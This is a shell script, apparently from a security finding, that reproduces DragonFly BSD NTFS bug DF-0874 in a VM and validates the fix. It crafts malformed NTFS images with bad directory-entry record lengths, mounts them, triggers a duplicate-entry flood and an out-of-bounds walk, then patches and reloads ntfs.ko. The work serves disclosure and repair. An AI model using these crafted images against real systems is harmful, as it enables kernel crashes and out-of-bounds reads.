#!/bin/sh
# DF-0874 run -- end-to-end reproduction + fix validation on the DragonFly guest.
#
# This script drives the FULL procedure:
#   1. (root)  craft + stage the NTFS images
#   2. (root)  mount the reclen=0 image (the deterministic live-GENERIC trigger)
#   3. (maxx)  readdir -> observe the 256+ duplicate-dirent flood (BUG)
#   4. (maxx)  run the deterministic harness (code-level proof of the OOB walk)
#   5. (root)  build + hot-swap the patched ntfs.ko
#   6. (maxx)  re-run readdir -> EINVAL, flood GONE (FIXED)
#   7. (maxx)  regression: clean image still reads correctly
#
# Precondition: the DragonFly guest is up on the `with-src` base (#0 unpatched)
# via dfbsd-qemu/vm.sh.  vfs.usermount=0 -> root mounts, maxx readdir's (matches
# the AGENT.md realistic threat model: admin mounts the image).
#
# Usage:  ./run.sh           # from a host with vm.sh + scp -F config
VM="${VM:-./dfbsd-qemu/vm.sh}"
SCP="scp -F dfbsd-qemu/config"
set -e
cd "$(dirname "$0")"

echo "[1] craft NTFS trigger images (reclen=0 flood, reclen=0xFFF0 OOB, clean)"
python3 craft_img.py /tmp/_panic.img --mode panic >/dev/null
# hybrid base (DF-0873 known-mountable) + DF-0874 evil entries:
python3 - <<'PY'
import importlib.util
spec = importlib.util.spec_from_file_location("c874", "craft_img.py")
c874 = importlib.util.module_from_spec(spec); spec.loader.exec_module(c874)
def hybrid(name, reclen, wc, num):
    base = bytearray(open('ntfs_0873.img','rb').read() if __import__('os').path.exists('ntfs_0873.img') else open('/tmp/_panic.img','rb').read())
    # fall back to DF-0873's escalate image as the mountable base:
    import os
    for p in ['findings/poc/DF-0873/ntfs_escalate.img','../DF-0873/ntfs_escalate.img']:
        if os.path.exists(p):
            base = bytearray(open(p,'rb').read()); break
    e = c874.evil_entry(ie_number=num, reclen=reclen, fnamelen=len(wc), fname_wchars=wc)
    iroot = c874.index_root_data([e], ir_size=0x1000)
    attr = c874.resident_attr(c874.A_INDXROOT, len(iroot), iroot, name="$I30")
    rec5 = c874.mft_record(1,1,c874.NTFS_FRFLAG_DIR, attr + c874.term_attr())
    off = c874.MFTCN*c874.CLU + 5*c874.RECSZ
    base[off:off+c874.RECSZ] = rec5
    open(name,'wb').write(base)
    print(f"  wrote {name}")
hybrid('ntfs_reclen0.img',  0x0000, [0x48]*4, 0x48484848)   # "HHHH" flood
hybrid('ntfs_oob.img',      0xFFF0, [0x41]*4, 0x41414141)   # "AAAA" OOB leap
hybrid('ntfs_leak.img',     0x0060, [0x42]*4, 0x42424242)   # "BBBB" OOB walk
PY

echo "[2] stage images + sources in guest"
$VM run_root 'mkdir -p /root/poc/DF-0874'
$SCP -q ntfs_reclen0.img ntfs_oob.img ntfs_leak.img dfbsd:/root/poc/DF-0874/
$VM run_user 'mkdir -p poc/DF-0874'
$SCP -q trigger.c harness.c dfbsd-maxx:poc/DF-0874/
$VM run_user 'cd poc/DF-0874 && cc -O -o trigger trigger.c && cc -O2 -o harness harness.c && echo BUILT'

echo "[3] BASELINE (unpatched #0): reclen=0 -> expect 256+ duplicate dirents"
$VM run_root 'kldload ntfs 2>/dev/null || true; mkdir -p /mnt/t; for d in vn0 vn1; do vnconfig -u $d 2>/dev/null || true; done; vnconfig -c vn0 /root/poc/DF-0874/ntfs_reclen0.img && mount -t ntfs -o ro,-u=1001,-g=1001 /dev/vn0 /mnt/t && echo MOUNTED'
$VM run_user 'cd poc/DF-0874 && ./trigger /mnt/t 2>&1 | tail -5; echo "entries: $(./trigger /mnt/t 2>&1 | grep -c dirent)"'

echo "[4] harness (code-level proof of the unbounded walk)"
$VM run_user 'cd poc/DF-0874 && ./harness 0xFFF0 0 1 2>&1 | tail -4'

echo "[5] build + install patched ntfs.ko"
$SCP -q fix.diff dfbsd:/root/fix.diff
$VM run_root 'cd /usr/src && patch -p1 --forward < /root/fix.diff && cd sys/vfs/ntfs && make obj && make 2>&1 | tail -3 && cp /usr/obj/usr/src/sys/vfs/ntfs/ntfs.ko /boot/kernel/ntfs.ko && kldload ntfs && echo PATCHED'

echo "[6] PATCHED: reclen=0 -> expect EINVAL (flood GONE)"
$VM run_root 'umount /mnt/t 2>/dev/null || true; vnconfig -u vn0 2>/dev/null || true; vnconfig -c vn0 /root/poc/DF-0874/ntfs_reclen0.img && mount -t ntfs -o ro,-u=1001,-g=1001 /dev/vn0 /mnt/t'
$VM run_user 'cd poc/DF-0874 && ./trigger /mnt/t 2>&1'

echo "[7] regression: clean image still reads correctly"
echo "(see VERDICT.md for the clean-image regression result)"
echo "RUN_DONE"
